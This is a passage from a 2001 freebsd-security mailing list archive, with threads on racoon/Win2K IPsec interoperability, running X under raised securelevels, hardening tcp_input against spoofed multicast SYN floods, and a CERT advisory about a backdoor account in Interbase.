(JST) To: Jorge Peixoto Vasquez Cc: freebsd-net@freebsd.org, freebsd-security@freebsd.org In-reply-to: jorge's message of Tue, 09 Jan 2001 18:01:43 -0200. <3A5B6E27.5787D716@aker.com.br> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: IPSEC: racoon and Win2K From: itojun@iijlab.net Date: Wed, 10 Jan 2001 08:51:20 +0900 Message-ID: <5077.979084280@coconut.itojun.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >The only problem I've encountered is that, when making Win2K and FreeBSD >interoperate, the IKE's phase 2 only suceeds if >Win2K initiates the process. If racoon is to start it, Win2k will not >accept any proposal for phase 2, complaining that the dh group number >(which should correctly be either 1 or 2) received is 1 or 2 (depending >on the pfs_group setting in racoon.conf) and not null(0). If I try >setting pfs_group to null, I get a parse error. try removing "pfs_group 2" line. the problem here is that PFS group is not negotiated (from the protocol spec), so - if Win2K uses no pfs group, racoon obeys - if racoon proposes either pfs group 1/2, Win2K rejects hope this helps. itojun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 16:18:54 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 30CB837B400 for ; Tue, 9 Jan 2001 16:18:35 -0800 (PST) Received: (qmail 610 invoked by uid 0); 10 Jan 2001 00:18:33 -0000 Received: from p3ee21546.dip.t-dialin.net (HELO forge.local) (62.226.21.70) by mail.gmx.net (mail04) with SMTP; 10 Jan 2001 00:18:33 -0000 Received: from thomas by forge.local with local (Exim 3.16 #1 (Debian)) id 14G93R-0000gg-00 for ; Wed, 10 Jan 2001 01:23:53 +0100 Date: Wed, 10 Jan 2001 01:23:53 +0100 To: freebsd-security@freebsd.org Subject: Re: Running X in securelevels > 0 ? Message-ID: <20010110012353.A2635@crow.dom2ip.de> Mail-Followup-To: tmoestl@gmx.net, freebsd-security@freebsd.org References: <20010109094651.A24037@dogma.freebsd-uk.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from rwatson@freebsd.org on Tue, Jan 09, 2001 at 08:57:15AM -0500 From: Thomas Moestl Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Jan 09, 2001 at 08:57:15AM -0500, Robert Watson wrote: > > On Tue, 9 Jan 2001, Rasputin wrote: > > > But I was talking to an OpenBSD user over the weekend who said that 2.7 > > somehow manages to reserve access to certsain devices by running some > > kind of wrapper before the securelevel is used (although that may be > > bull). > > OpenBSD has an "apperture" driver that presumably works by making a > specific subset of hardware controls available in higher securelevels, > carefully selected so that the subset is sufficient for the purposes of > graphics in X, but not sufficient to violate kernel protections. > Unfortunately, I've not had the opportunity to look more closely than that > at this point. From what I can tell after a quick look, it allows access to the physical memory between adresseses 0xa0000 and 0xffffff, or optional access to the whole first MB of memory to one process at a time (modulo shared descriptors). Additionally, it allows access to all io ports via the OpenBSD i386_iopl sys call (to the super user). The whole aperture behaviour is tunable via a sysctl knob and defaults to off. However, this seems to be a little too permissive if aperture is enabled; sure somebody can mess badly with the system with aperture enabled. Still, it seems much more difficult than with lowered secure level to e.g. alternate the kernel image, but it should be more than enough to make the machine crash with loss of data or even worse damages. > If you're interested in looking at porting it, I think > there would be interest in integrating it into the base FreeBSD source > tree: while the OpenBSD project uses it specifically to address concerns > with securelevels, it would also be useful in other mandatory access > control environmnents, or environments where the privilege model is not > the root-trumps-all model. When porting it, it would be useful to do an > analysis of how effective the driver is at providing only the necessary > subset, and that it doesn't allow access to video subsystem functions that > might be manipulable to gain privilege, or violate other system policies. > Having X functionality without the ability to directly manipulate all > hardware would be very desirable. I will take a deeper look into the OpenBSD implementation and will try to port it. We could attempt to be less permissive (particularly regarding io port access), but I think we will end up with a permitted set that is bigger than we might like it to support all hardware that's out there. One thing that might be worthwile is to get the resources of pci vga adaptors to build the set from that. - thomas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 17:53: 3 2001 Delivered-To: freebsd-security@freebsd.org Received: from homer.softweyr.com (mail.dobox.com [208.187.122.44]) by hub.freebsd.org (Postfix) with ESMTP id 1764537B401 for ; Tue, 9 Jan 2001 17:52:45 -0800 (PST) Received: from [127.0.0.1] (helo=softweyr.com ident=Fools trust ident!) by homer.softweyr.com with esmtp (Exim 3.16 #1) id 14GAXF-0000A5-00; Tue, 09 Jan 2001 18:58:45 -0700 Message-ID: <3A5BC1D5.E5F57AE0@softweyr.com> Date: Tue, 09 Jan 2001 18:58:45 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Mike Silbersack Cc: Umesh Krishnaswamy , freebsd-security@freebsd.org Subject: Re: Spoofing multicast addresses References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mike Silbersack wrote: > > On Mon, 8 Jan 2001, Umesh Krishnaswamy wrote: > > > Hi Folks, > > > > I was looking at the code for tcp_drop(). If there is a SYN flood attack, > > tcp_drop is called to drop the connection on a listen queue overflow. tcp_drop > > in turn sends an RST packet if it is in the SYN_RCVD state. If the attacker > > spoofs multicast IP addresses, then there will be a flood of RST packets being > > sent out by the machine. > > > > I am unclear on the RFCs, but shouldn't the tcp_drop code check if the src > > address is multicast, if so drop without RST. Or maybe, even before that, > > tcp_input should not accept SYN packets from multicast IP addresses. > > > > Thanks. > > Umesh. > > The check is done when the SYN is received, hence such a situation as you > describe should not be able to occur. > > >From tcp_input.c: > > /* > * RFC1122 4.2.3.10, p. 104: discard bcast/mcast SYN > * in_broadcast() should never return true on a received > * packet with M_BCAST not set. > * > * Packets with a multicast source address should also > * be discarded. > */ > if (m->m_flags & (M_BCAST|M_MCAST)) > goto drop; The real problem is this check is 675 lines into tcp_input, but probably should be at the top. I've just rescanned this and don't recall if m->m_flags is set before tcp_input is called, or by one of the numerous functions called in the code leading up to this check. The comment about discarding bcast/mcast SYN is misleading, there is NO properly formatted TCP packet *to or from* a broadcast or multicast address. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 18:57:44 2001 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 2427637B401; Tue, 9 Jan 2001 18:57:22 -0800 (PST) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id SAA12818; Tue, 9 Jan 2001 18:57:05 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id SAA21337; Tue, 9 Jan 2001 18:57:05 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id SAA19637; Tue, 9 Jan 2001 18:57:05 -0800 (PST) From: Don Lewis Message-Id: <200101100257.SAA19637@salsa.gv.tsc.tdk.com> Date: Tue, 9 Jan 2001 18:57:04 -0800 In-Reply-To: <3A5BC1D5.E5F57AE0@softweyr.com> References: <3A5BC1D5.E5F57AE0@softweyr.com> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Wes Peters , Mike Silbersack Subject: Re: Spoofing multicast addresses Cc: Umesh Krishnaswamy , freebsd-security@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org [ freebsd-net added ] On Jan 9, 6:58pm, Wes Peters wrote: } Subject: Re: Spoofing multicast addresses } Mike Silbersack wrote: } > } > The check is done when the SYN is received, hence such a situation as you } > describe should not be able to occur. } > } > >From tcp_input.c: } > } > /* } > * RFC1122 4.2.3.10, p. 104: discard bcast/mcast SYN } > * in_broadcast() should never return true on a received } > * packet with M_BCAST not set. } > * } > * Packets with a multicast source address should also } > * be discarded. } > */ } > if (m->m_flags & (M_BCAST|M_MCAST)) } > goto drop; There are some additional sanity checks that were omitted from this message. } The real problem is this check is 675 lines into tcp_input, but probably } should be at the top. I've just rescanned this and don't recall if m->m_flags } is set before tcp_input is called, or by one of the numerous functions called } in the code leading up to this check. The flags are set before tcp_input is called based on link level information. A good reason for putting these checks in their present location is that it gets them out of the main code path. Under normal circumstances, the vast majority of the incoming packets will be for established connections and it wasteful to do unnecessary checking on these packets. We need to do a PCB lookup for each incoming packet in any case, so if we never create a PCB containing any invalid addresses, then we only need the extra sanity checking on packets that don't have a matching PCB. Optimising the most frequently used code path leaves more CPU cycles available for the application. Now if someone floods the server with garbage packets, we'll expend more CPU cycles handling them than if the sanity check was done first, but there are likely to be spare CPU cycles available because the real clients won't be getting through the flood to exercise the application code. } The comment about discarding bcast/mcast SYN is misleading, there is NO } properly formatted TCP packet *to or from* a broadcast or multicast address. See what the RFC1122 4.2.3.10 says. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 23: 0:12 2001 Delivered-To: freebsd-security@freebsd.org Received: from homer.softweyr.com (bsdconspiracy.net [208.187.122.220]) by hub.freebsd.org (Postfix) with ESMTP id B031037B400; Tue, 9 Jan 2001 22:59:38 -0800 (PST) Received: from [127.0.0.1] (helo=softweyr.com ident=Fools trust ident!) by homer.softweyr.com with esmtp (Exim 3.16 #1) id 14GFKA-0000CK-00; Wed, 10 Jan 2001 00:05:34 -0700 Message-ID: <3A5C09BE.88B4A117@softweyr.com> Date: Wed, 10 Jan 2001 00:05:34 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Don Lewis Cc: Mike Silbersack , Umesh Krishnaswamy , freebsd-security@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Subject: Re: Spoofing multicast addresses References: <3A5BC1D5.E5F57AE0@softweyr.com> <200101100257.SAA19637@salsa.gv.tsc.tdk.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Don Lewis wrote: > > [ freebsd-net added ] > > On Jan 9, 6:58pm, Wes Peters wrote: > } Subject: Re: Spoofing multicast addresses > } Mike Silbersack wrote: > } > > } > The check is done when the SYN is received, hence such a situation as you > } > describe should not be able to occur. > } > > } > >From tcp_input.c: > } > > } > /* > } > * RFC1122 4.2.3.10, p. 104: discard bcast/mcast SYN > } > * in_broadcast() should never return true on a received > } > * packet with M_BCAST not set. > } > * > } > * Packets with a multicast source address should also > } > * be discarded. > } > */ > } > if (m->m_flags & (M_BCAST|M_MCAST)) > } > goto drop; > > There are some additional sanity checks that were omitted from this message. > > } The real problem is this check is 675 lines into tcp_input, but probably > } should be at the top. I've just rescanned this and don't recall if m->m_flags > } is set before tcp_input is called, or by one of the numerous functions called > } in the code leading up to this check. > > The flags are set before tcp_input is called based on link level > information. > > A good reason for putting these checks in their present location is > that it gets them out of the main code path. Under normal circumstances, > the vast majority of the incoming packets will be for established > connections and it wasteful to do unnecessary checking on these packets. But that is exactly NOT the case when being attacked with a SYN flood or something like that. Perhaps it would be advantageous to trip a flag if we hit the bandwidth limiting rate and do the checks much earlier only if we're under attack? > We need to do a PCB lookup for each incoming packet in any case, so if You certainly don't NEED to do a PCB lookup for a TCP packet with a {broad,multi}cast address, ever. > we never create a PCB containing any invalid addresses, then we only > need the extra sanity checking on packets that don't have a matching PCB. > Optimising the most frequently used code path leaves more CPU cycles > available for the application. > > Now if someone floods the server with garbage packets, we'll expend > more CPU cycles handling them than if the sanity check was done first, > but there are likely to be spare CPU cycles available because the > real clients won't be getting through the flood to exercise the application > code. The real problem with the "stream" attack was not the volume of incoming SYN packets, but the reflector nature of the attack when using forged multicast source addresses. The code did not correctly "ignore" these packets, and replied with RST. Since no current group membership was available for the multicast source address, the system forwarded the RST packet to all attached interfaces. Augh! What do you think of my suggestion above, to shift into "flood avoidance mode" when rate limits are hit on either RST or drop? That has some potential for nearly best of both worlds performance, as long as the rate limit threshold is adjusted carefully. You'd want to tune the setting to avoid flapping the mode flag on and off. > } The comment about discarding bcast/mcast SYN is misleading, there is NO > } properly formatted TCP packet *to or from* a broadcast or multicast address. > > See what the RFC1122 4.2.3.10 says. It says exactly what I said, in more formal language, but is typically a little vague as to what to do about it. The second paragraph, "...or by the IP layer..." gives a hint as to the appropriate place to really check for this class of errors. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 23:13:38 2001 Delivered-To: freebsd-security@freebsd.org Received: from silby.com (cb34181-c.mdsn1.wi.home.com [24.183.3.139]) by hub.freebsd.org (Postfix) with ESMTP id 2A68837B401 for ; Tue, 9 Jan 2001 23:13:18 -0800 (PST) Received: (qmail 13712 invoked by uid 1000); 10 Jan 2001 07:13:17 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 10 Jan 2001 07:13:17 -0000 Date: Wed, 10 Jan 2001 01:13:17 -0600 (CST) From: Mike Silbersack To: Wes Peters Cc: Don Lewis , Umesh Krishnaswamy , , Subject: Re: Spoofing multicast addresses In-Reply-To: <3A5C09BE.88B4A117@softweyr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 10 Jan 2001, Wes Peters wrote: > Don Lewis wrote: > > A good reason for putting these checks in their present location is > > that it gets them out of the main code path. Under normal circumstances, > > the vast majority of the incoming packets will be for established > > connections and it wasteful to do unnecessary checking on these packets. > > But that is exactly NOT the case when being attacked with a SYN flood > or something like that. Perhaps it would be advantageous to trip a flag > if we hit the bandwidth limiting rate and do the checks much earlier only > if we're under attack? I'm not sure that really matters. Since (nearly) any packet will undergo the pcb lookup, reducing the overhead of multicast packets wouldn't make much difference - attackers can just use non-multicast packets. Does anyone have an idea on what the performance impact of the multicast checks really is? Just having a single check at the top of the code would be nice from a readability standpoint. Speaking of stream, I wonder if proper multicast checks are done for icmp responses. Hrm. Mike "Silby" Silbersack To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 9 23:45:52 2001 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id A1F1437B400; Tue, 9 Jan 2001 23:45:30 -0800 (PST) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id XAA17344; Tue, 9 Jan 2001 23:45:20 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id XAA22463; Tue, 9 Jan 2001 23:45:20 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id XAA20130; Tue, 9 Jan 2001 23:45:19 -0800 (PST) From: Don Lewis Message-Id: <200101100745.XAA20130@salsa.gv.tsc.tdk.com> Date: Tue, 9 Jan 2001 23:45:19 -0800 In-Reply-To: References: X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Mike Silbersack , Wes Peters Subject: Re: Spoofing multicast addresses Cc: Don Lewis , Umesh Krishnaswamy , , Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 10, 1:13am, Mike Silbersack wrote: } Subject: Re: Spoofing multicast addresses } } On Wed, 10 Jan 2001, Wes Peters wrote: } } > Don Lewis wrote: } > > A good reason for putting these checks in their present location is } > > that it gets them out of the main code path. Under normal circumstances, } > > the vast majority of the incoming packets will be for established } > > connections and it wasteful to do unnecessary checking on these packets. } > } > But that is exactly NOT the case when being attacked with a SYN flood } > or something like that. Perhaps it would be advantageous to trip a flag } > if we hit the bandwidth limiting rate and do the checks much earlier only } > if we're under attack? } } I'm not sure that really matters. Since (nearly) any packet will undergo } the pcb lookup, reducing the overhead of multicast packets wouldn't make } much difference - attackers can just use non-multicast packets. Yup, if we're DoSed in one of these attacks because of the expense of doing the PCB lookup before the source address check, then the attacker just has to craft the packets so that they pass the filters. I don't think an adaptive algorithm would be the way to go either. It's just more code that the CPU would have to run and an attacker might be able to keep things in the non-optimal state by varying the packet stream. } Does anyone have an idea on what the performance impact of the multicast } checks really is? Just having a single check at the top of the code would } be nice from a readability standpoint. The current checks are reasonably cheap, though I would really like to add a check of the source address against the broadcast addresses of each interface on the box. That could be quite a bit more expensive. } Speaking of stream, I wonder if proper multicast checks are done for icmp } responses. Hrm. I'm pretty sure that UDP is handled OK, but it can't hurt to take another look. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 10 0: 0:19 2001 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 7FC5137B401; Tue, 9 Jan 2001 23:59:53 -0800 (PST) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id XAA17472; Tue, 9 Jan 2001 23:59:06 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id XAA22486; Tue, 9 Jan 2001 23:59:03 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id XAA20147; Tue, 9 Jan 2001 23:59:02 -0800 (PST) From: Don Lewis Message-Id: <200101100759.XAA20147@salsa.gv.tsc.tdk.com> Date: Tue, 9 Jan 2001 23:59:02 -0800 In-Reply-To: <3A5C09BE.88B4A117@softweyr.com> References: <3A5BC1D5.E5F57AE0@softweyr.com> <200101100257.SAA19637@salsa.gv.tsc.tdk.com> <3A5C09BE.88B4A117@softweyr.com> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Wes Peters , Don Lewis Subject: Re: Spoofing multicast addresses Cc: Mike Silbersack , Umesh Krishnaswamy , freebsd-security@FreeBSD.ORG, freebsd-net@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 10, 12:05am, Wes Peters wrote: } Subject: Re: Spoofing multicast addresses } The real problem with the "stream" attack was not the volume of incoming } SYN packets, but the reflector nature of the attack when using forged } multicast source addresses. The code did not correctly "ignore" these } packets, and replied with RST. Since no current group membership was } available for the multicast source address, the system forwarded the RST } packet to all attached interfaces. Augh! I'm actually not sure what the killer problem was. I'm pretty sure that systems with only one interface were vulnerable, so spewing mulitcast RST packets out this interface shouldn't be much worse than spewing unicast RST packets, unless I'm missing something particularly expensive in the multicast code, which I admit that I'm not at all familiar with. If I had to speculate, I'd guess that it might have something to do with the multicast packets reentering the stack through the loopback interface or maybe incoming responses to the multicast spew from other hosts on the local network. Since we added the packet sanity checks and the RST response rate limiting at the same time, we really don't know which if these helped the most. I suppose this could be an interesting experiment for someone with some spare time on their hands. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 10 7:57:15 2001 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 1F3C637B402 for ; Wed, 10 Jan 2001 07:56:58 -0800 (PST) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id HAA09769; Wed, 10 Jan 2001 07:52:32 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda09766; Wed Jan 10 07:52:19 2001 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.11.2/8.9.1) id f0AFqA319574; Wed, 10 Jan 2001 07:52:10 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdl19572; Wed Jan 10 07:52:01 2001 Received: (from uucp@localhost) by cwsys.cwsent.com (8.11.2/8.9.1) id f0AFpwH63004; Wed, 10 Jan 2001 07:51:58 -0800 (PST) Message-Id: <200101101551.f0AFpwH63004@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdx63000; Wed Jan 10 07:51:55 2001 X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 4.2-RELEASE X-Sender: cy To: Matjaz Martincic Cc: "'Rasputin'" , freebsd-security@FreeBSD.ORG Subject: Re: Running X in securelevels > 0 ? In-reply-to: Your message of "Tue, 09 Jan 2001 11:51:59 +0100." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 10 Jan 2001 07:51:54 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message , Matjaz M artincic writes: > Had the same problem. I somehow managed to bypass it by creating the shell > script that first run the Xserver and then change the securelevel with > sysctl. And it worked. But the problem is that the securelevel is not > changed at boot time :(, so you have to run X to set it first. In this situation xdm is your friend. Start xdm in rc.local, then manually set the securelevel in rc.local after xdm has started. Make sure that your X server does not start with the -terminate option, which BTW will leave you open to memory leaks in the X server. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/Alpha Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 10 16:40:22 2001 Delivered-To: freebsd-security@freebsd.org Received: from blues.jpj.net (blues.jpj.net [204.97.17.146]) by hub.freebsd.org (Postfix) with ESMTP id 8C05F37B400; Wed, 10 Jan 2001 16:40:05 -0800 (PST) Received: from localhost (trevor@localhost) by blues.jpj.net (8.11.1/8.10.0) with ESMTP id f0B0e4T20066; Wed, 10 Jan 2001 19:40:04 -0500 (EST) Date: Wed, 10 Jan 2001 19:40:03 -0500 (EST) From: Trevor Johnson To: , , Berend de Boer Subject: CERT advisory: "Interbase Server Contains Compiled-in Back Door Account" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The advisory is at http://www.cert.org/advisories/CA-2001-01.html . The way I read it, ports/databases/interbase4 is likely to be affected. -- Trevor Johnson http://jpj.net/~trevor/gpgkey.txt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 10 16:51:32 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail.epylon.com (sf-gw.epylon.com [63.93.9.98]) by hub.freebsd.org (Postfix) with ESMTP id 6580137B400; Wed, 10 Jan 2001 16:51:12 -0800 (PST) Received: by goofy.epylon.lan with Internet Mail Service (5.5.2653.19) id ; Wed, 10 Jan 2001 16:51:09 -0800 Message-ID: <657B20E93E93D4118F9700D0B73CE3EA024385@goofy.epylon.lan> From: Jason DiCioccio To: 'Trevor Johnson' , security@freebsd.org, security-officer@freebsd.org, Berend de Boer Subject: RE: CERT advisory: "Interbase Server Contains Compiled-in Back D oor Account" Date: Wed, 10 Jan 2001 16:51:07 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C07B68.94F71590" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C07B68.94F71590 Content-Type: text/plain; charset="iso-8859-1" -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Can any users of this package confirm if they actually knew about this backdoor account? I don't see how a backdoor account accidently makes its way into a database package like this. If this was undocumented/unknown, I would have to assume it might have been intentional from someone working on the project perhaps? I do not use this database package, so I can't accuse anyone or any company of this, but it's hard to imagine a 'backdoor account' making it's way in the source otherwise. I guess we'll have to wait for a Borland advisory. My .02 cents - -JD- - ------- Jason DiCioccio Evil Genius Unix BOFH mailto:jasond@epylon.com 415-593-2761 Direct & Fax 415-593-2900 Main Epylon Corporation 645 Harrison Street, Suite 200 San Francisco, CA 94107 www.epylon.com BSD is for people who love Unix - Linux is for people who hate Microsoft - -----Original Message----- From: Trevor Johnson [mailto:trevor@jpj.net] Sent: Wednesday, January 10, 2001 4:40 PM To: security@freebsd.org; security-officer@freebsd.org; Berend de Boer Subject: CERT advisory: "Interbase Server Contains Compiled-in Back Door Account" The advisory is at http://www.cert.org/advisories/CA-2001-01.html . The way I read it, ports/databases/interbase4 is likely to be affected. - -- Trevor Johnson http://jpj.net/~trevor/gpgkey.txt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOl0D51CmU62pemyaEQIGvACfbSM7MG/0gIDhJ3Fg2H3r7cERreQAni31 AZprugMdEMqVJZCJ7MqdDBab =ShAU -----END PGP SIGNATURE-----  ------_=_NextPart_000_01C07B68.94F71590 Content-Type: application/octet-stream; name="Jason DiCioccio.vcf" Content-Disposition: attachment; filename="Jason DiCioccio.vcf" BEGIN:VCARD VERSION:2.1 N:DiCioccio;Jason FN:Jason DiCioccio ORG:epylon.com;operations TITLE:UNIX ADMIN ADR;WORK:;;645 Harrison St;San Francisco;CA;94107;usa LABEL;WORK;ENCODING=QUOTED-PRINTABLE:645 Harrison St=0D=0ASan Francisco, CA 94107=0D=0Ausa EMAIL;PREF;INTERNET:Jason.DiCioccio@Epylon.com REV:19990105T135529Z END:VCARD ------_=_NextPart_000_01C07B68.94F71590-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 10 17:19:48 2001 Delivered-To: freebsd-security@freebsd.org Received: from blues.jpj.net (blues.jpj.net [204.97.17.146]) by hub.freebsd.org (Postfix) with ESMTP id 8C33537B401 for ; Wed, 10 Jan 2001 17:19:28 -0800 (PST) Received: from localhost (trevor@localhost) by blues.jpj.net (8.11.1/8.10.0) with ESMTP id f0B1JQI21197; Wed, 10 Jan 2001 20:19:26 -0500 (EST) Date: Wed, 10 Jan 2001 20:19:26 -0500 (EST) From: Trevor Johnson To: Jason DiCioccio Cc: , Berend de Boer Subject: RE: CERT advisory: "Interbase Server Contains Compiled-in Back D oor Account" In-Reply-To: <657B20E93E93D4118F9700D0B73CE3EA024385@goofy.epylon.lan> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Can any users of this package confirm if they actually knew about > this backdoor account? I don't see how a backdoor account accidently > makes its way into a database package like this. If this was > undocumented/unknown, I would have to assume it might have been > intentional from someone working on the project perhaps? I do not > use this database package, so I can't accuse anyone or any company of > this, but it's hard to imagine a 'backdoor account' making it's way > in the source otherwise. I guess we'll have to wait for a Borland > advisory. Hi, Jason. I'm not sure what you mean: that we should assume everything's fine and do nothing unless Borland also says there's a problem, or that you will just be curious about the origin of the problem until they explain it. FWIW the problem is also described at http://www.interbase2000.com/ (which apparently does not belong to Borland). The backdoor is not documented in the pkg-descr file for the port. If the port is not fixed or forbidden, and it has the backdoor, the fact should at least be documented there. -- Trevor Johnson http://jpj.net/~trevor/gpgkey.txt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 10 17:23:54 2001 Delivered-To: freebsd-security@freebsd.org Received: from daedalus.cs.brandeis.edu (daedalus.cs.brandeis.edu [129.64.3.179]) by hub.freebsd.org (Postfix) with ESMTP id 6AFE137B400 for ; Wed, 10 Jan 2001 17:23:34 -0800 (PST) Received: from localhost (meshko@localhost) by daedalus.cs.brandeis.edu (8.9.3/8.9.3) with ESMTP id 